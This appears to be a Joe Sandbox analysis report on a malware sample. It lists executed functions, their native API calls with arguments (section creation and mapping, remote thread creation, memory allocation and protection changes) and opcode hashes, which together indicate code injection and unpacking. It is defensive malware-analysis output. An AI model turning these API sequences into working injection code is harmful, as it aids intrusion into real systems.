Function 0040163B Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: cefcec3b4dfc0ac1b79d81610da9693edaefe17fb3e60f5b4fda00af43e12393
Instruction ID: 5360d2f8fac9f0201fb143e2250a685fe16029abf29177764b1b7c662286b80c
Opcode Fuzzy Hash: cefcec3b4dfc0ac1b79d81610da9693edaefe17fb3e60f5b4fda00af43e12393
Instruction Fuzzy Hash: FE514AB1900205BFEB208F91CC89FAF7BB8FF85700F14456AFA11BA2E5D6759941CB24

Function 00401666 Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 6a5a12e5199d7872be29d194e1bd71eececbcf8f897f93194828f5f612321f2e
Instruction ID: a6ff109548181b59d63890122cf59ee8a8e7851f5ea650de0760a669d67658a3
Opcode Fuzzy Hash: 6a5a12e5199d7872be29d194e1bd71eececbcf8f897f93194828f5f612321f2e
Instruction Fuzzy Hash: 895129B4900205BFEB208F91CC89FAF7BB8FF85B10F104569FA11AA2E5D6759941CB64

Function 00401647 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d8106e4bc7ca673257447c9282689d7b3e0364b5c7f46d4caad185d9f9525db9
Instruction ID: 13265af8c753d5296a068bec70926f9e91cf6f155eb2a251ba93df0398a9b2e3
Opcode Fuzzy Hash: d8106e4bc7ca673257447c9282689d7b3e0364b5c7f46d4caad185d9f9525db9
Instruction Fuzzy Hash: F6513BB5900205BFEB208F91CC89FEF7BB8FF85B10F104119F911BA2A4D6759941CB64

Function 00401660 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: e599f6710e28ba0f3f5ec0135dce1092a84c4915237567347f01b0f8a4c4c763
Instruction ID: 88dcf12b86acca9d5ca78fae7b39ee59537206c200d96b006889814fd57da8f6
Opcode Fuzzy Hash: e599f6710e28ba0f3f5ec0135dce1092a84c4915237567347f01b0f8a4c4c763
Instruction Fuzzy Hash: 12512AB0900205BFEB208F91CC89FAF7BB8FF85B10F104129FA11BA2E5D6759941CB64

Function 00401663 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2089da846d8ed52526ea3fb0d68e445529b89086c2a436fa3bc4dd68b40d8f3a
Instruction ID: 9dfb7286379cb5b978975c8e53e5cfa9d010df6993f6f88681d8ce4a50fb4c8e
Opcode Fuzzy Hash: 2089da846d8ed52526ea3fb0d68e445529b89086c2a436fa3bc4dd68b40d8f3a
Instruction Fuzzy Hash: B851FAB5900249BFEB208F91CC89FAF7BB8FF85B10F104159FA11BA2A5D6749941CB64

Function 00401674 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a471128e30253767d8ecbe7c8b9264cbc2fc79b6f64fc0f7368e35c36875084d
Instruction ID: 6663a8c5485dafdc0fbfaf601e2c04d3b227d1cbd70bcfd861ccef21e9851678
Opcode Fuzzy Hash: a471128e30253767d8ecbe7c8b9264cbc2fc79b6f64fc0f7368e35c36875084d
Instruction Fuzzy Hash: 3D51FBB5900245BFEF208F91CC89FAF7BB8FF85710F104159FA11AA2A5D7749941CB64

Function 00401678 Relevance: 10.7, APIs: 7, Instructions: 158
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 76003727399a2eca9fb632657c9a9f2aa461299f309746c84de5a453a1a51f96
Instruction ID: 9d3a6761103bbc6b33e3c6c256166adc831e96f911efc5f9f86a17cfce9c5065
Opcode Fuzzy Hash: 76003727399a2eca9fb632657c9a9f2aa461299f309746c84de5a453a1a51f96
Instruction Fuzzy Hash: 6A5109B5900245BFEF208F91CC88FAB7BB8FF85B10F100159FA11AA2A5D7709945CB20

Function 0040310D Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403235
NtTerminateProcess.NTDLL ref: 00403246

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: 2230f495bd44a537ec581f9501d496a478b2d408bf54a46c3e49a74e62ee8954
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: 14414732618E0C4FD768EE6CAC4966377D5E7A8311B1A43ABD809D7384EE30D95183C5

Function 008ADA84 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008ADAAC
Module32First.KERNEL32(00000000,00000224), ref: 008ADACC

Memory Dump Source

Source File: 00000000.00000002.1732280470.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8aa000_hoEtvOOrYH.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a1292484055010d5b7ab9aacc09db4c6038b8ab20bbed41853b37e2ea73de290
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F5F0C2316007216FE7203AF8988CB6A72E8FF4A321F100128E643D1CC0DAB0FC054661

Function 0088003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0088024D

Strings

kernel32.dll, xrefs: 0088008F, 00880095
cess, xrefs: 0088018D

Memory Dump Source

Source File: 00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_hoEtvOOrYH.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aac36b1d1735d88017c5ffbfa41392513043c77e30cf763340a148cb817e5263
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D527974A01229DFDBA4DF58C984BA8BBB1BF09304F1480D9E50DAB351DB30AE88DF15

Function 0041E020 Relevance: 4.6, APIs: 3, Instructions: 60
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(007FBE60), ref: 0041E0FC
GetProcAddress.KERNEL32(00000000,00428558), ref: 0041E139
VirtualProtect.KERNELBASE(007FBCA4,007FBE5C,00000040,?), ref: 0041E159

Memory Dump Source

Source File: 00000000.00000002.1731971792.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_hoEtvOOrYH.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: ed7f28cc16d09a46b10d0c784fb67efb52c54919e2bb855e4695998bb0004b58
Instruction ID: bf942d14af1efede7f09638b6f18058680337e7b272a95013794b0dd03a82697
Opcode Fuzzy Hash: ed7f28cc16d09a46b10d0c784fb67efb52c54919e2bb855e4695998bb0004b58
Instruction Fuzzy Hash: BF3123106293C0EAE311DB38FC447663BA2AB69744F44946CD2848B3B2DBFE0556C72E

Function 00880E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00880223,?,?), ref: 00880E19
SetErrorMode.KERNELBASE(00000000,?,?,00880223,?,?), ref: 00880E1E

Memory Dump Source

Source File: 00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_hoEtvOOrYH.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f2f6d8dcacfc00e91535e2c3d4d44eba824c5639ec75f1ad12dbbdf9da4bc129
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: D6D0123114512877D7403A94DC09BCE7B1CDF05B62F008411FB0DD9080C770994047E5

Function 0041E160 Relevance: 1.5, APIs: 1, Instructions: 27
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(007FBE60,0041E686), ref: 0041E1E8

Memory Dump Source

Source File: 00000000.00000002.1731971792.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_hoEtvOOrYH.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6d238e4d275f321ba84a9d54ea67be493b39248c77fbf03331765bdaefa4b618
Instruction ID: e3a8a89f9793f3a67f7cebaa72587345058e1a1b15750940b4a818443ddf913f
Opcode Fuzzy Hash: 6d238e4d275f321ba84a9d54ea67be493b39248c77fbf03331765bdaefa4b618
Instruction Fuzzy Hash: 7FF04804A38244CAE704DB74E9507A12363EFAC700F50A02A9319C77B1EBFE4915C71E

Function 00401A06 Relevance: 1.3, APIs: 1, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: cdcc311ceb2837f341ba908734da7b35adc779df5b271c6ec761724efb85a897
Instruction ID: 9ebb0d5d2bcaaf4b8a6da6c44f2a62eb33f0d579d641f982b8f1711b028e46c7
Opcode Fuzzy Hash: cdcc311ceb2837f341ba908734da7b35adc779df5b271c6ec761724efb85a897
Instruction Fuzzy Hash: F501AD3170A204EBDB009A948D41EBB3218AB81354F3046B7B603791F1C67DA9136F6F

Function 00401A1C Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2f5f28e4999fdf4ae743695e3ae32fff629aee18e9753fdb2de2d595f75c34b4
Instruction ID: 74bf1b2afaaea11ca0c0e56f9b1f986bf381a10b9881ca68c1150b9356aeb230
Opcode Fuzzy Hash: 2f5f28e4999fdf4ae743695e3ae32fff629aee18e9753fdb2de2d595f75c34b4
Instruction Fuzzy Hash: 96015E3170A104EBDB009A948D41FBA3214AB85354F3046B7B613791F1C67D9A137F6F

Function 00401A12 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: ae05512fd5251021edca4d15e7d70a9b37d4d87fc1c0fe8ad5807b387d740cb1
Instruction ID: d73ce5762afe86b3dc9ddffb89cb22f26ca3725698e0de0b5cdea12295139e68
Opcode Fuzzy Hash: ae05512fd5251021edca4d15e7d70a9b37d4d87fc1c0fe8ad5807b387d740cb1
Instruction Fuzzy Hash: 8C019E3170A204EBDB009A808D41FBA3224AB41350F3046B7B6077A1F1C63D9A136F5F

Function 00401A1F Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 254eab8126462ec38dfc4a3a996a2ad5e8abce04bf8f94b9094cf8f2fa2f2c34
Instruction ID: ab73073346a6364aa5533d6c8f5fbe814d7e64b70b61ce0f81f834eeff2a0555
Opcode Fuzzy Hash: 254eab8126462ec38dfc4a3a996a2ad5e8abce04bf8f94b9094cf8f2fa2f2c34
Instruction Fuzzy Hash: 3C017C31B0A205EBDB009AD08D81FBA3214AB45314F3086B7B613BA1F1C63D9A136F5F

Function 00401A22 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6e961ae9266916f39a153e19b05d1beb86b796fb0aaf4f479fd1f87af5fb4436
Instruction ID: 6485c0b3739817a7eba8982835a091150a70886c886236a9745aa1cef3f3b90f
Opcode Fuzzy Hash: 6e961ae9266916f39a153e19b05d1beb86b796fb0aaf4f479fd1f87af5fb4436
Instruction Fuzzy Hash: AC017C31B0A204EBDB009AD08D41FBA3215AB45314F2086B7B617791F1C63E9A136F5F

Function 00401A2F Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fc7b232f7660c46c0be874543eb3d0c42f9b16e39d899871c612d7a074ae0c1c
Instruction ID: 2bb26d72c1b977118a941110934db68769275302d48630a1afbcee3c678045b0
Opcode Fuzzy Hash: fc7b232f7660c46c0be874543eb3d0c42f9b16e39d899871c612d7a074ae0c1c
Instruction Fuzzy Hash: CE018F31B0A205EBDB009AD08D81FBA3214AB45315F3086B7BA13791F1C67D9A136F5F

Function 008AD743 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008AD794

Memory Dump Source

Source File: 00000000.00000002.1732280470.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8aa000_hoEtvOOrYH.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a016e991c95045e99b7df128f4c5e1853f5e82370b3e0be8c2f1fc8abb5379ac
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 9A113C79A00208EFDB01DF98C985E98BBF5EF09751F058094F9499B362D771EA50DF81

Function 00401A33 Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: eff07d97131d67143dfcdb5282c54e7f4d9014b4e7bbc5dad2acaf1ab08b79e4
Instruction ID: 7b59a2ed808b167059f1a43439f678e344e3511e3e2d5798feb9efe5e8b923c8
Opcode Fuzzy Hash: eff07d97131d67143dfcdb5282c54e7f4d9014b4e7bbc5dad2acaf1ab08b79e4
Instruction Fuzzy Hash: 49F06D35709145EBDB009AD08D41ABB3215AB44325F208677B612791E1C63D9A136F1F

Function 00401A44 Relevance: 1.3, APIs: 1, Instructions: 41sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: bea45b5663554546ed255f19ceb106eb68d8b8c2b8f2cd8be84afbde5940505c
Instruction ID: 3ce8add922c935329b7be752716cb8cb7767505201ce0f0d8ed020f92cce30f5
Opcode Fuzzy Hash: bea45b5663554546ed255f19ceb106eb68d8b8c2b8f2cd8be84afbde5940505c
Instruction Fuzzy Hash: 5DF06235715245EBDB009ED08D40EBA3714AB44324F604AB7B613B51F2CA3D89526F1F

Non-executed Functions

Function 0088092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0088095F
GetProcAddress., xrefs: 008809DC, 008809DF, 008809E4
l, xrefs: 00880966

Memory Dump Source

Source File: 00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_hoEtvOOrYH.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: f3d91120766a02e33a9fa05b12d28410e080fcf066640d8f17665adcd8ab3234
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 0B314BB6900609DFDB50DF99C880AADBBF5FF48324F25414AD841E7211D771EA49CFA4

Function 0040343D Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

s, xrefs: 00403462

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: fcbc4e482191a5b1ed0f0b41c257d7571ec0ed811b204dfca2c584f7fac93e58
Instruction ID: 8a409fa25b6763e0905c056eafe61904ef1ba626a455657214e2c62112028ba7
Opcode Fuzzy Hash: fcbc4e482191a5b1ed0f0b41c257d7571ec0ed811b204dfca2c584f7fac93e58
Instruction Fuzzy Hash: 8521F05240C3C29EE7135F745896561BF78AA63315FA900FBC482EE0E3E6384A42E31B

Function 0040249E Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID:
String ID:
API String ID:
